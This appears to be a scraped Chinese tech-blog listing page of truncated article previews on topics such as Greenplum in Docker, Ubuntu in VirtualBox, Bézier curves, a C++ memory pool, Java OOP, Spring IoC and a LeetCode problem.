目录 docker安装gp数据库 mac版本 搭建gp数据库 连接数据库 windows版本 搭建gp数据库 连接数据库 docker安装gp数据库 mac版本 搭建gp数据库 打开终端&#xff0c;输入代码&#xff0c;查看版本 ocker search greenplum docker pull projectairws/greenplum docker…

Virtual Box安装Ubuntu及设置

Virtual Box安装Ubuntu及设置 本文包含以下内容&#xff1a; 使用Virtual Box安装Ubuntu Desktop。设置虚拟机中的Ubuntu&#xff0c;使之可访问互联网并可通过SSH访问。 Ubuntu Desktop下载 从官网下载&#xff0c;地址为&#xff1a;Download Ubuntu Desktop | Ubuntu U…

HTTP交互导致ECONNABORTED的原因之一

背景&#xff1a; 本次记录的&#xff0c;是一次使用HTTP交互过程中遇到的问题&#xff0c;问题不大&#xff0c;就是给题目上这个报错补充一种可能的解决方案。 程序大致流程&#xff1a; 1. 设备向服务器A请求信息 2. 拿到回复记录下回复内容中的数据包下载地址等信息 3…

games 101 作业4

games 101 作业4 题目题解作业答案 题目 Bzier 曲线是一种用于计算机图形学的参数曲线。在本次作业中&#xff0c;你需要实 现 de Casteljau 算法来绘制由 4 个控制点表示的 Bzier 曲线 (当你正确实现该 算法时&#xff0c;你可以支持绘制由更多点来控制的 Bzier 曲线)。 你需…

IntelliJ IDEA实用插件:轻松生成时序图和类图

IntelliJ IDEA生成时序图、类图 一、SequenceDiagram1.1 插件安装1.2 插件设置1.3 生成时序图 二、PlantUML Integration2.1 插件安装2.2 插件设置2.3 生成类图 在软件建模课程的学习中&#xff0c;大家学习过多种图形表示方法&#xff0c;这些图形主要用于软件产品设计。在传统…

C++实现定长内存池

项目介绍 本项目实现的是一个高并发的内存池&#xff0c;它的原型是Google的一个开源项目tcmalloc&#xff0c;tcmalloc全称Thread-Caching Malloc&#xff0c;即线程缓存的malloc&#xff0c;实现了高效的多线程内存管理&#xff0c;用于替换系统的内存分配相关函数malloc和fr…

Java面向对象知识总结+思维导图

&#x1f516;面向对象 &#x1f4d6; Java作为面向对象的编程语言&#xff0c;我们首先必须要了解类和对象的概念&#xff0c;本章的所有内容和知识都是围绕类和对象展开的&#xff01; ▐ 思维导图1 ▐ 类和对象的概念 • 简单来说&#xff0c;类就是对具有相同特征的一类事…

【Spring】认识 IoC 容器和 Servlet 容器

认识 IoC 容器和 Servlet 容器 1.认识容器1.1 IoC 容器1.2 loC 的实现方法1.2.1 依赖注入1.2.2 依赖查找 1.3 认识 Servlet 容器 2.用 IoC 管理 Bean2.1 创建一个 Bean2.2 编写 User 的配置类2.3 编写测试类 3.用 Servlet 处理请求3.1 注册 Servlet 类3.2 开启 Servlet 支持 1.…

力扣:1738. 找出第 K 大的异或坐标值

1738. 找出第 K 大的异或坐标值 给你一个二维矩阵 matrix 和一个整数 k &#xff0c;矩阵大小为 m x n 由非负整数组成。 矩阵中坐标 (a, b) 的 值 可由对所有满足 0 < i < a < m 且 0 < j < b < n 的元素 matrix[i][j]&#xff08;下标从 0 开始计数&…

晶圆厂的PE转客户工程师前景怎么样?

知识星球&#xff08;星球名&#xff1a; 芯片制造与封测技术社区&#xff0c;星球号&#xff1a; 63559049&#xff09;里的学员问&#xff1a; 目前在晶圆厂做PE&#xff0c;倒班oncall压力太大把身体搞坏了&#xff0c;现在有一个design house的CE客户工程师的offer&…